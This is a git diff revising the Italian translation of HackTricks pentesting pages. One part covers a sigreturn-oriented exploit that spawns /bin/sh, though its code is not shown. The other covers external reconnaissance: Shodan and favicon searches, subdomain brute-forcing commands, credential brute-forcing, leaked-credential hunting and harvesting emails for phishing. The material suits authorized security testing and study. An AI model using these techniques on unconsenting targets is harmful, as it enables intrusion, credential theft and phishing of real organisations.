collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Esempio di Pwntools -Questo esempio crea il binario vulnerabile e lo sfrutta. Il binario **legge nello stack** e poi chiama **`sigreturn`**: +Questo esempio crea il binario vulnerabile e ne sfrutta la vulnerabilità. Il binario **legge nello stack** e poi chiama **`sigreturn`**: ```python from pwn import * @@ -86,7 +86,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` ## Exploit -L'exploit sfrutta il buffer overflow per tornare alla chiamata a **`sigreturn`** e preparare lo stack per chiamare **`execve`** con un puntatore a `/bin/sh`. +L'exploit sfrutta il bof per tornare alla chiamata a **`sigreturn`** e preparare lo stack per chiamare **`execve`** con un puntatore a `/bin/sh`. ```python from pwn import * @@ -144,11 +144,11 @@ return 0; ``` ## Exploit -Nella sezione **`vdso`** è possibile trovare una chiamata a **`sigreturn`** all'offset **`0x7b0`**: +Nella sezione **`vdso`** è possibile trovare una chiamata a **`sigreturn`** nell'offset **`0x7b0`**: -
+
-Pertanto, se ottenuto in modo non autorizzato, è possibile **utilizzare questo indirizzo per accedere a un `sigreturn`** se il binario non lo sta caricando: +Pertanto, se ottenuto in modo non lecito, è possibile **utilizzare questo indirizzo per accedere a un `sigreturn`** se il binario non lo sta caricando: ```python from pwn import * @@ -188,17 +188,3 @@ E per aggirare l'indirizzo di `/bin/sh` potresti creare diverse variabili d'ambi {% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %} [aslr](../../common-binary-protections-and-bypasses/aslr/) {% endcontent-ref %} - -
- -Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! - -Altri modi per supportare HackTricks: - -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. - -
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 8c22b9fe9..b3b42d097 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,4 +1,4 @@ -# Metodologia di ricognizione esterna +# Metodologia di Ricognizione Esterna
@@ -14,28 +14,28 @@ Altri modi per supportare HackTricks:
-
+
-Se sei interessato a una **carriera nell'hacking** e ad hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_). +Se sei interessato a una **carriera nell'hacking** e ad hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_). {% embed url="https://www.stmcyber.com/careers" %} -## Scoperta degli asset +## Scoperta degli Asset > Ti è stato detto che tutto ciò che appartiene a un'azienda è nel perimetro, e vuoi capire cosa possiede effettivamente questa azienda. -L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e quindi tutti gli **asset** di queste aziende. Per farlo, faremo quanto segue: +L'obiettivo di questa fase è ottenere tutte le **aziende di proprietà dell'azienda principale** e quindi tutti gli **asset** di queste aziende. Per farlo, faremo quanto segue: -1. Trovare le acquisizioni della società principale, questo ci darà le aziende nel perimetro. -2. Trovare l'ASN (se presente) di ogni azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda. +1. Trovare le acquisizioni dell'azienda principale, questo ci darà le aziende nel perimetro. +2. Trovare l'ASN (se presente) di ogni azienda, questo ci darà gli intervalli IP di proprietà di ciascuna azienda. 3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlati al primo (questo può essere fatto in modo ricorsivo). 4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo). ### **Acquisizioni** -Innanzitutto, dobbiamo sapere quali **altre aziende sono possedute dalla società principale**.\ -Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **società principale**, e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\ -Un'altra opzione è visitare la pagina **Wikipedia** della società principale e cercare **acquisizioni**. +Innanzitutto, dobbiamo sapere quali **altre aziende sono di proprietà dell'azienda principale**.\ +Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** l'**azienda principale**, e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\ +Un'altra opzione è visitare la pagina **Wikipedia** dell'azienda principale e cercare **acquisizioni**. > Ok, a questo punto dovresti conoscere tutte le aziende nel perimetro. Scopriamo come trovare i loro asset. @@ -76,7 +76,7 @@ Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http: A questo punto conosciamo **tutte le risorse all'interno del perimetro**, quindi se ti è consentito potresti avviare uno scanner di vulnerabilità (Nessus, OpenVAS) su tutti gli host.\ Inoltre, potresti avviare alcuni [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e in base a ciò che trovi dovresti** consultare questo libro su come testare la penetrazione di diversi servizi possibili.\ -**Inoltre, potrebbe valere la pena menzionare che puoi anche preparare alcuni elenchi di** nomi utente predefiniti **e** password **e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +**Inoltre, potrebbe essere utile menzionare che puoi anche preparare alcuni elenchi di** nomi utente predefiniti **e** password **e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domini @@ -121,7 +121,7 @@ Puoi anche eseguire una scoperta automatica inversa whois con [amass](https://gi Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse, puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\ Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su diverse pagine. -Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altri: +Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro ancora: * [**Udon**](https://github.com/dhn/udon) * [**BuiltWith**](https://builtwith.com) @@ -131,7 +131,7 @@ Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tr ### **Favicon** -Sapevi che possiamo trovare domini e sottodomini correlati al nostro obiettivo cercando lo stesso hash dell'icona favicon? Questo è esattamente ciò che fa lo strumento [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creato da [@m4ll0k2](https://twitter.com/m4ll0k2). Ecco come usarlo: +Sapevi che possiamo trovare domini correlati e sottodomini al nostro obiettivo cercando lo stesso hash dell'icona favicon? Questo è esattamente ciò che fa lo strumento [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creato da [@m4ll0k2](https://twitter.com/m4ll0k2). Ecco come usarlo: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -140,11 +140,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s In poche parole, favihash ci permetterà di scoprire i domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo. -Inoltre, è possibile cercare tecnologie utilizzando l'hash del favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se si conosce l'**hash del favicon di una versione vulnerabile di una tecnologia web**, è possibile cercare in shodan e **trovare più luoghi vulnerabili**: +Inoltre, è possibile cercare tecnologie utilizzando l'hash del favicon come spiegato in [**questo post sul blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci l'**hash del favicon di una versione vulnerabile di una tecnologia web**, puoi cercare se è presente in shodan e **trovare più luoghi vulnerabili**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` -Ecco come puoi **calcolare l'hash del favicon** di un sito web: +Ecco come puoi **calcolare l'hash della favicon** di un sito web: ```python import mmh3 import requests @@ -163,14 +163,14 @@ Cerca all'interno delle pagine web **stringhe che potrebbero essere condivise tr ### **Ora del CRT** -È comune avere un cron job come +È comune avere un lavoro pianificato come ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` ### Metodologia di ricognizione esterna -Per rinnovare tutti i certificati di dominio sul server. Ciò significa che anche se l'AC utilizzato per questo non imposta l'ora in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza del certificato**.\ +Per rinnovare tutti i certificati di dominio sul server. Ciò significa che anche se l'AC utilizzato per questo non imposta l'ora in cui è stato generato nel tempo di Validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza del certificato**.\ Consulta questo [**articolo per ulteriori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). ### Informazioni DMARC sulla posta @@ -189,17 +189,17 @@ Apparentemente è comune che le persone assegnino sottodomini a IP che apparteng **Shodan** -Poiché conosci già il nome dell'organizzazione che possiede lo spazio IP, puoi cercare quei dati in Shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS. +Poiché conosci già il nome dell'organizzazione proprietaria dello spazio IP, puoi cercare quei dati in Shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS. Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e quindi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **Shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) è uno strumento che cerca **domini correlati** a un dominio principale e i **loro sottodomini**, davvero sorprendente. +[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)è uno strumento che cerca **domini correlati** a un dominio principale e i **loro sottodomini**, davvero sorprendente. ### **Ricerca di vulnerabilità** -Controlla se c'è qualche [acquisizione di dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse un'azienda sta **utilizzando un dominio** ma ha **perso la proprietà**. Registrati semplicemente (se abbastanza economico) e informa l'azienda. +Controlla se c'è qualche [acquisizione di dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse qualche azienda **sta utilizzando un dominio** ma ha **perso la proprietà**. Registrati semplicemente (se abbastanza economico) e informa l'azienda. Se trovi un **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\ _Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._ @@ -221,7 +221,7 @@ Nota che alcuni degli strumenti e delle tecniche per trovare domini possono aiut ### **DNS** -Proviamo a ottenere i **sottodomini** dai **record DNS**. Dovremmo anche provare per il **trasferimento di zona** (se vulnerabile, dovresti segnalarlo). +Proviamo a ottenere **sottodomini** dai **record DNS**. Dovremmo anche provare per **Trasferimento di zona** (Se vulnerabile, dovresti segnalarlo). ```bash dnsrecon -a -d tesla.com ``` @@ -276,7 +276,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -Ci sono **altri strumenti/API interessanti** che, anche se non sono direttamente specializzati nel trovare sottodomini, potrebbero essere utili per trovarli, come: +Ci sono **altri strumenti/API interessanti** che, anche se non specializzati direttamente nel trovare sottodomini, potrebbero essere utili per trovarli, come: * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilizza l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) per ottenere sottodomini ```bash @@ -308,7 +308,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** recupera gli URL conosciuti dall'Open Threat Exchange di AlienVault, dal Wayback Machine e da Common Crawl per un determinato dominio. +* [**gau**](https://github.com/lc/gau)**:** recupera gli URL conosciuti dall'Open Threat Exchange di AlienVault, dal Wayback Machine e dal Common Crawl per un determinato dominio. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -357,11 +357,11 @@ Per questa azione avrai bisogno di alcune liste di parole comuni per i sottodomi * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -E anche gli IP dei buoni risolutori DNS. Per generare un elenco di risolutori DNS affidabili, puoi scaricare i risolutori da [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e utilizzare [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) per filtrarli. Oppure potresti utilizzare: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +E anche gli IP dei buoni risolutori DNS. Per generare una lista di risolutori DNS affidabili puoi scaricare i risolutori da [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e utilizzare [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) per filtrarli. Oppure potresti utilizzare: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) Gli strumenti più raccomandati per il DNS brute-force sono: -* [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace DNS brute-force. È molto veloce ma è incline ai falsi positivi. +* [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace DNS brute-force. È molto veloce ma è soggetto a falsi positivi. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt @@ -385,7 +385,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` ### Secondo Round di Brute-Force DNS -Dopo aver trovato sottodomini utilizzando fonti aperte e brute-force, potresti generare delle alterazioni dei sottodomini trovati per cercarne ancora di più. Diversi strumenti sono utili a questo scopo: +Dopo aver trovato sottodomini utilizzando fonti aperte e brute-forcing, potresti generare delle alterazioni dei sottodomini trovati per cercarne ancora di più. Diversi strumenti sono utili a questo scopo: * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Dato il dominio e i sottodomini, genera permutazioni. ```bash @@ -401,12 +401,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` * [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare le permutazioni dei sottodomini, può anche provare a risolverli (ma è meglio utilizzare gli strumenti precedentemente commentati). -* È possibile ottenere la **wordlist** delle permutazioni di altdns [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt). +* È possibile ottenere la lista di parole per le permutazioni di altdns **qui** (https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` * [**dmut**](https://github.com/bp0lr/dmut): Un altro strumento per eseguire permutazioni, mutazioni e alterazioni dei sottodomini. Questo strumento forzerà il risultato (non supporta il wild card dns). -* È possibile ottenere la wordlist delle permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). +* È possibile ottenere la lista di parole per le permutazioni di dmut [**qui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt @@ -421,13 +421,13 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di forza bruta per subdomini abbinato a un algoritmo guidato dalle risposte DNS estremamente semplice ma efficace. Utilizza un insieme fornito di dati di input, come un elenco di parole personalizzato o record storici DNS/TLS, per sintetizzare accuratamente più nomi di dominio corrispondenti ed espanderli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS. +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di forza bruta per subdomini abbinato a un algoritmo immensamente semplice ma efficace guidato dalle risposte DNS. Utilizza un insieme fornito di dati di input, come un elenco di parole personalizzato o record storici DNS/TLS, per sintetizzare accuratamente più nomi di dominio corrispondenti ed espanderli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS. ``` echo www | subzuf facebook.com ``` ### **Flusso di scoperta dei sottodomini** -Controlla questo post sul blog che ho scritto su come **automatizzare la scoperta dei sottodomini** da un dominio utilizzando **i workflow di Trickest** in modo da non dover avviare manualmente un mucchio di strumenti sul mio computer: +Controlla questo post sul blog che ho scritto su come **automatizzare la scoperta dei sottodomini** da un dominio utilizzando **i workflow di Trickest** in modo da non dover avviare manualmente una serie di strumenti sul mio computer: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} @@ -463,7 +463,7 @@ Con questa tecnica potresti persino essere in grado di accedere a endpoint inter ### **Forza Bruta CORS** -A volte troverai pagine che restituiscono solo l'intestazione _**Access-Control-Allow-Origin**_ quando un dominio/sottodominio valido è impostato nell'intestazione _**Origin**_. In questi scenari, puoi abusare di questo comportamento per **scoprire** nuovi **sottodomini**. +A volte troverai pagine che restituiscono solo l'intestazione _**Access-Control-Allow-Origin**_ quando viene impostato un dominio/sottodominio valido nell'intestazione _**Origin**_. In questi scenari, puoi abusare di questo comportamento per **scoprire** nuovi **sottodomini**. ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` @@ -474,22 +474,22 @@ Inoltre, a questo punto saprai tutti i domini all'interno del perimetro, prova a ### **Monitoraggio** -Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **log di Certificate Transparency** che [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fa. +Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **log di Certificate Transparency** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fa. ### **Ricerca di vulnerabilità** Controlla possibili [**takeover di sottodomini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Se il **sottodominio** punta a un **bucket S3**, [**controlla le autorizzazioni**](../../network-services-pentesting/pentesting-web/buckets/). -Se trovi un **sottodominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\ -_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nella scoperta, fai attenzione._ +Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (usando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\ +_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nella scopo, fai attenzione._ ## IP Nei passaggi iniziali potresti aver **trovato alcuni range di IP, domini e sottodomini**.\ È ora di **raccogliere tutti gli IP da quei range** e per i **domini/sottodomini (query DNS).** -Utilizzando servizi dalle seguenti **API gratuite** puoi trovare anche **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero consentirti di trovare [**bypass di CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Utilizzando servizi delle seguenti **API gratuite** puoi trovare anche **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero consentirti di trovare [**bypass di CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) * [**https://securitytrails.com/**](https://securitytrails.com/) @@ -505,19 +505,19 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza > Abbiamo trovato tutte le aziende e i loro asset e conosciamo i range di IP, i domini e i sottodomini all'interno del perimetro. È ora di cercare i server web. -Nei passaggi precedenti probabilmente hai già eseguito un **riconoscimento degli IP e dei domini scoperti**, quindi potresti **già aver trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi veloci per cercare server web** all'interno del perimetro. +Nei passaggi precedenti probabilmente hai già eseguito un po' di **ricognizione degli IP e dei domini scoperti**, quindi potresti **già aver trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi veloci per cercare server web** all'interno del perimetro. Si noti che questo sarà **orientato alla scoperta delle app web**, quindi dovresti **eseguire la scansione di vulnerabilità** e **delle porte** anche (**se consentito** dal perimetro). -Un **metodo rapido** per scoprire le **porte aperte** relative ai **server web** utilizzando [**masscan** può essere trovato qui](../pentesting-network/#http-port-discovery).\ -Un altro strumento utile per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passare un elenco di domini e proverà a connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte: +Un **metodo veloce** per scoprire le **porte aperte** relative ai **server web** utilizzando [**masscan** può essere trovato qui](../pentesting-network/#http-port-discovery).\ +Un altro strumento utile per cercare server web è [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passare un elenco di domini e cercherà di connettersi alla porta 80 (http) e 443 (https). Inoltre, puoi indicare di provare altre porte: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **Screenshot** -Ora che hai scoperto **tutti i server web** presenti nel perimetro (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, semplifichiamoci e iniziamo semplicemente facendo degli screenshot di tutti loro. Già **dando un'occhiata** alla **pagina principale** puoi trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**. +Ora che hai scoperto **tutti i server web** presenti nel perimetro (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, semplifichiamoci e iniziamo semplicemente facendo degli screenshot di tutti loro. Già **dando un'occhiata** alla **pagina principale** puoi trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**. Per eseguire l'idea proposta puoi utilizzare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** @@ -525,9 +525,9 @@ Inoltre, potresti poi utilizzare [**eyeballer**](https://github.com/BishopFox/ey ## Risorse Cloud Pubbliche -Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una società di criptovalute potresti utilizzare parole come: `"crypto", "wallet", "dao", "", <"nomi_sottodomini">`. +Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto company potresti utilizzare parole come: `"crypto", "wallet", "dao", "", <"nomi_sottodomini">`. -Avrai anche bisogno di liste di parole comuni utilizzate nei bucket: +Avrai anche bisogno di liste di parole **comuni utilizzate nei bucket**: * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) @@ -541,7 +541,7 @@ Ricorda che quando cerchi Risorse Cloud dovresti **cercare più che solo bucket ### **Ricerca di vulnerabilità** -Se trovi cose come **bucket aperti o funzioni cloud esposte** dovresti **accedervi** e cercare di capire cosa offrono e se puoi abusarne. +Se trovi cose come **bucket aperti o funzioni cloud esposte** dovresti **accedervi** e cercare di capire cosa ti offrono e se puoi abusarne. ## Email @@ -554,39 +554,39 @@ Con i **domini** e i **sottodomini** all'interno del perimetro hai praticamente ### **Ricerca di vulnerabilità** -Le email saranno utili in seguito per **forzare l'accesso ai login web e ai servizi di autenticazione** (come SSH). Inoltre, sono necessarie per i **phishing**. Inoltre, questi API ti forniranno ancora più **informazioni sulla persona** dietro l'email, che è utile per la campagna di phishing. +Le email saranno utili in seguito per **forzare l'accesso ai login web e ai servizi di autenticazione** (come SSH). Inoltre, sono necessarie per i **phishing**. Inoltre, questi API ti daranno ancora più **informazioni sulla persona** dietro l'email, che è utile per la campagna di phishing. ## Fughe di Credenziali -Con i **domini,** **sottodomini** e **email** puoi iniziare a cercare credenziali trapelate in passato appartenenti a quelle email: +Con i **domini**, i **sottodomini** e le **email** puoi iniziare a cercare credenziali trapelate in passato appartenenti a quelle email: * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) ### **Ricerca di vulnerabilità** -Se trovi credenziali trapelate **valide**, questa è una vittoria molto facile. +Se trovi **credenziali trapelate valide**, questa è una vittoria molto facile. ## Fughe di Segreti -Le fughe di credenziali sono legate agli hack di aziende in cui è stata **trapelata e venduta informazione sensibile**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quei database: +Le fughe di credenziali sono correlate a hack di aziende in cui è stata **trapelata e venduta informazione sensibile**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quei database: -### Fughe di Github +### Fughe su Github Credenziali e API potrebbero essere trapelati nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quella azienda di github.\ Puoi utilizzare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** ed eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente. **Leakos** può anche essere utilizzato per eseguire **gitleaks** su tutti i **testi** forniti **URL passati** ad esso poiché a volte le **pagine web contengono anche segreti**. -#### Dork di Github +#### Dork su Github -Controlla anche questa **pagina** per potenziali **dork di github** che potresti cercare anche nell'organizzazione che stai attaccando: +Controlla anche questa **pagina** per potenziali **dork su github** che potresti cercare anche nell'organizzazione che stai attaccando: {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) {% endcontent-ref %} -### Fughe di Paste +### Fughe su Paste A volte gli attaccanti o semplicemente i lavoratori **pubblicheranno contenuti aziendali in un sito di paste**. Questo potrebbe o potrebbe non contenere **informazioni sensibili**, ma è molto interessante cercarlo.\ Puoi utilizzare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per cercare contemporaneamente in più di 80 siti di paste. @@ -595,11 +595,11 @@ Puoi utilizzare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) I vecchi ma d'oro dork di Google sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il 